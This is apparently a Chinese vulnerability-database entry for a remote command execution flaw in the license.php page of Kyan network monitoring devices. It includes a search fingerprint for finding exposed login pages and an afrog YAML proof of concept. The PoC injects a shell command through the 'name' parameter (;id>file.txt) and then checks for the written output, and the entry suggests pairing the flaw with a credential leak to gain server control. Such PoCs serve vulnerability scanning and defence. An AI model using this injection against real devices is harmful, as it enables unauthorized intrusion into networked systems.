kyan-network-license-php-rce: Kyan 网络监控设备 license.php 远程命令执行漏洞

日期: 2025-09-01 | 影响软件: Kyan网络监控设备 | POC: 已公开

漏洞描述

Kyan 网络监控设备 license.php 可在身份验证的情况下执行任意命令, 配合账号密码泄露漏洞，可以获取服务器权限，存在远程命令执行漏洞 title="platform - Login"

PoC代码[已公开]

id: kyan-network-license-php-rce

info:
  name: Kyan 网络监控设备 license.php 远程命令执行漏洞
  author: zan8in
  severity: critical
  verified: false
  description: |
    Kyan 网络监控设备 license.php 可在身份验证的情况下执行任意命令, 配合账号密码泄露漏洞，可以获取服务器权限，存在远程命令执行漏洞
    title="platform - Login"
  reference:
    - http://wiki.peiqi.tech/wiki/iot/Kyan/Kyan%20%E7%BD%91%E7%BB%9C%E7%9B%91%E6%8E%A7%E8%AE%BE%E5%A4%87%20license.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
    
set:
  randstr: randomLowercase(8)
rules:
  r0:
    request:
      method: GET
      path: /license.php?cmd=delete&name=;id>{{randstr}}.txt
    expression: response.status == 200
  r1:
    request:
      method: GET
      path: /{{randstr}}.txt
    expression: response.status == 200 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)
expression: r0() && r1()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/kyan-network-license-php-rce.yaml

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